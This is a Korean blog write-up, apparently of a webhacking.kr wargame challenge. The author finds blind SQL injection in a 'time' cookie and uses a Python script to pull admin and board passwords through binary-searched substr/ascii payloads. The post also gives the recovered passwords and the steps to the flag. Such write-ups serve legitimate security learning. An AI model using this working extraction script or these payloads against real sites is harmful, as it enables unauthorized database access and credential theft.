ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 2번 풀이
    Wargame/webhacking.kr (old) 2019. 2. 28. 00:36
    728x90

    홈페이지가 덩그러니 주어져있다.

     

    위 메뉴들을 다 눌러보았으나 게시판 말고는 별다른게 없었다.

    게시된 글을 읽어보려 했지만 암호가 걸려있어 읽을 수 없다.

     

    웹 해킹을 위해서는 1. 소스 보기 2. 쿠키 보기 3. 입력할 수 있는 곳 공략하기 순으로 하라고 친구가 알려줬다.

    따라서, 우선 메인 페이지의 소스를 보자.

     

    올 개이득~

    admin 페이지가 숨겨져 있다.

     

    숨겨진 admin 페이지로 접근해보았더니 password를 입력하는 칸이 존재한다.

     

    admin 페이지의 password 입력 칸을 이용하여 SQL Injection을 수행해보았으나,

    아무런 반응이 나타나지 않았다.

    password를 알아내긴 해야하는 것 같은데 다른 입력 가능한 부분을 찾아야 하는 것 같다.

     

    두번째 단계인 쿠키를 보았다.

    뭔가 다른 문제들에서 볼 수 없었던 time이라는 쿠키가 존재한다.

     

    다른 문제에서는 없었지만 생성되어 있는 것을 보면, 문제 푸는데 이용되는게 분명하다.

    무슨 값으로 변경해야 하는지 모르겠으니 값을 Null 으로 바꾸어 보았다.

     

    반응이 없다. 잘못된 짐작이었던 것 같았는데...

    페이지 소스를 보니 시간이 출력되던 주석문이 사라졌다..!

     

    time 값에 의해 주석문이 생기는 것 같아 원래 값의 형식인 timestamp 형식으로 값을 설정해보았다.

    (내 마음대로 2017-01-18 04:00:001484712000으로 설정하였다.)

     

    설정해준 것과 시간은 다르지만 예상대로 time 값에 의해 주석문이 생긴다.

    이 주석의 반응에 따라 SQL Injection이 가능할 것 같아 true와 false 값으로 설정해보았다.

     

    [ true ]

     

    [ false ]

    다행히 true일 때와 false일 때의 값이 다르다.

    SQL Injection이 가능한 벡터임을 확인하였기 때문에 필터링된 문자열이 무엇인지 알아보았다.

     

    [ ' (싱글쿼터) ]

    Null값을 넣어주었을 때와 같이 주석이 사라진다.

    필터링되어 있는 것으로 짐작할 수 있다.

     

    그외에 다른 필터링되어 있을 만한 substr 이나 ascii 등등을 입력해 보았으나

    필터링되어 있지 않았다.

     

    무조건 참이 될 수 있는 값을 넣어주었는데 거짓으로 인식하였다.

    Column 명이나 table 명이 잘못된 것 같다.

     

    정확한 Column 명과 table 명을 알아보기 위해 pw 대신 password를 넣어주었다. 

     

    참 값으로 인식됐다!!

    알아낸 Column 명과 table 명을 이용하여 password를 찾을 수 있다.

     

    (select length(password) from admin) = 1

    password 길이를 찾을 수 있다.

     

    (select ascii(substr(password, 1, 1)) from admin) = 97

    password 값을 찾을 수 있다.

     

    게시판 페이지의 게시글의 암호도 찾을 수 있을지 알아보기 위해

    아래와 같이 time 값을 설정해보았더니 주석이 사라졌다.

    table 명이 잘못된 것 같다.

     

    이대로 찾을 수 없는 것인가 싶었는데...

    그럴리가 없다는 생각으로 게시판 페이지를 다시 들어가보았다.

     

    근데..!

    게시판 명이 너무나도 해킹 잘하는 사람들이 좋아하는 것 같은 숫자와 영어가 섞여있다.

    분명 table 명일 것이다.

     

    역시...

    이것으로 admin 페이지와 게시판 페이지의 password를 모두 찾을 수 있다.

     

    수동으로 값을 바꾸어보면서 확인해도 되지만,

    귀찮으니까 python을 이용하였다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
    
    headers = {'Host': 'webhacking.kr'}
    url = "http://webhacking.kr/challenge/web/web-02/"
    
    #Method of Find pw length
    def find_len(table_name):
    	len = 0
    	while True:
    		data = "(select length(password) from "+table_name+")="+str(len)
    		cookies = {'PHPSESSID':'cb796099f3411dcf24cec15c1358ad02', 'time':data}
    		r = requests.get(url, headers=headers, cookies=cookies)
    		
    		if r.text.find('<!--2070-01-01 09:00:01-->') != -1:
    			return len
    			
    		len += 1
    
    #Method of Find password
    def find_pw(table_name, start, end, n):
    	piv = (start+end) / 2
    	data = "(select ascii(substr(password,"+str(n)+",1)) from "+table_name+")="+str(piv)
    	cookies = {'PHPSESSID':'cb796099f3411dcf24cec15c1358ad02', 'time':data}
    	r = requests.get(url, headers=headers, cookies=cookies)
    	
    	if r.text.find('<!--2070-01-01 09:00:01-->') != -1: return chr(piv)
    	else:
    		data = "(select ascii(substr(password,"+str(n)+",1)) from "+table_name+")>"+str(piv)
    		cookies = {'PHPSESSID':'cb796099f3411dcf24cec15c1358ad02','time':data}
    		r = requests.get(url, headers=headers, cookies=cookies)
    	
    		if r.text.find('<!--2070-01-01 09:00:01-->') != -1: return find_pw(table_name, piv+1, end, n)
    		else: return find_pw(table_name, start, piv-1, n)
    		
    #Get password len
    a_len = find_len("admin")
    b_len = find_len("FreeB0aRd")
    print "------------------------------------------------"
    print "ADMIN PAGE PASSWORD LEN : ", a_len
    print "------------------------------------------------"
    print "BOARD PAGE PASSWORD LEN : ", b_len
    print "------------------------------------------------"
    
    #Get password
    admin_pw = ''
    board_pw = ''
    for i in range(1,b_len+1):
    	board_pw += find_pw("FreeB0aRd", 33, 126, i)
    for i in range(1,a_len+1):
    	admin_pw += find_pw("admin", 33, 126, i)
    print "------------------------------------------------"
    print "ADMIN PASSWORD : ", admin_pw
    print "------------------------------------------------"
    print "BOARD PASSWORD : ", board_pw
    print "------------------------------------------------"
    
    
    

    위의 소스를 실행시켜 두 페이지의 password를 각각 찾았다.

     

    [ 실행 결과 ]

     

    찾아낸 암호들을 각 페이지에 입력해보았다.

     

    우선, admin 페이지에 Only_admin을 입력하였다.

     

    내가 찾는 flag는 안주고 메뉴얼 패스워드를 알려준다.

    게시판 글의 메뉴얼을 읽어야 하는 것 같다.

     

    7598522ae를 입력하여 작성된 글에 접근해보니

    admin manual이라는 압축파일이 업로드되어 있고 클릭하면 다운로드된다.

     

    압축 파일을 풀기 위해서 암호가 필요하다.

    아까 admin 페이지에서 알아낸 메뉴얼 패스워드를 입력하였다.

    압축이 풀리고 그 안에 manual.html 파일이 존재하는데 html 파일을 열면 flag가 주어진다!

     

    주어진 flag를 Auth 페이지에 가서 인증하면 문제가 풀린다.

     

    참,, 어려운 문제였다. 휴;;

     

    반응형

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 5번 풀이  (0) 2019.03.02
    [Webhacking.kr] 4번 풀이  (0) 2019.03.02
    [Webhacking.kr] 3번 풀이  (0) 2019.02.28
    [Webhacking.kr] 2번 풀이  (0) 2019.02.28
    [Webhacking.kr] 1번 풀이  (0) 2019.02.27
    [Webhacking.kr] 회원 가입  (0) 2019.02.27

    댓글 0

@Jo Grini's Blog